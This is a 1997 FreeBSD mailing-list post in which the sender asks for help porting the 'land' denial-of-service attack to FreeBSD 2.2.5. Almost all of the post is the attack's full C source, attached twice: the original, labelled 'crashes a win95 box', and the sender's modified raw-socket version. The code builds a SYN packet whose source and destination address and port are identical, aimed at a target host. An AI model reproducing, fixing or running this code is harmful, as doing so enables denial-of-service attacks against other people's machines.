Date: Tue, 25 Nov 1997 08:07:59 +0800 From: hmin <hmin@public.cq.sc.cn> To: Freebsd-questions@freebsd.org Subject: The land.c Message-ID: <347A16DF.D03@public.cq.sc.cn>
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hi, sir:
I got "land" attack source code some days ago, I don't know which
programming tool can compile it, my Freebsd 2.2.5 box cann't do that. I
changed the cource code a little, and want it work on my FreeBSD 2.2.5
box.
The gcc build ok, but seems it didn't do the work it should, I don't
what's
the problem. I attach the origin code and my code here, if you have a
time
to correct my fault, I'll appreciate your help.
Huang Min
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Content-Type: text/plain; charset=us-ascii; name="land.c"
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Content-Disposition: inline; filename="land.c"
/* land.c by m3lt, FLC
crashes a win95 box */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
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Content-Disposition: inline; filename="land2.c"
/* land.c by m3lt, FLC
crashes a win95 box */
#define __BSD_SOURCE
#define BYTE_ORDER LITTLE_ENDIAN
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
#include <arpa/inet.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
/* fprintf(stderr,"land.c by m3lt, FLC\n");*/
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
/* ipheader->ip_hl=sizeof(struct ip)/4;*/
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=htons(sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src.s_addr=sin.sin_addr.s_addr;
ipheader->ip_dst.s_addr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}
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